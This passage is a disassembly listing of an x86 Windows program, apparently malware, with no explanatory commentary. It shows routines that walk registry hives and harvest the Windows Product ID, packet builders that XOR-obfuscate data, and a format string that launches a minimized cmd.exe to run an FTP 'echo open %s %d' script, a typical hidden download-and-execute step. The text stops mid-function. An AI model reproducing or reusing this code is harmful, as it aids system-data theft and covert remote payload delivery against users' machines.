		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BA4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2930000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 2900000h


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	near ptr byte_5EA1BD
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		align 10h
byte_4367D0	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 37h, 0F7h
		dd 0E990777Fh, 777E573Ch, 7F2BE6E9h
		db 77h,	6Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		dd 8112A3E9h, 0E9901377h, 7781146Ch, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 0F0h, 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 810DEBE9h, 0E9901677h, 777E6714h
		db 90h
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 778111C8h, 8035F1E9h, 0E9909A77h, 7781108Ch,	5B6DE990h
		dd 3D83777Fh, 50E9D4h, 0FF0C75FFh, 90042474h, 7FE54BE8h
		dd 68C35977h, 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 593DE990h, 0D9E9777Fh, 0B8778008h, 8008EAE9h
; ---------------------------------------------------------------------------
		ja	short near ptr loc_4368E8+1 ; CODE XREF: ___:loc_4368E8j

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		jmp	near ptr 77C4FA10h
sub_4368EA	endp

; ---------------------------------------------------------------------------
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
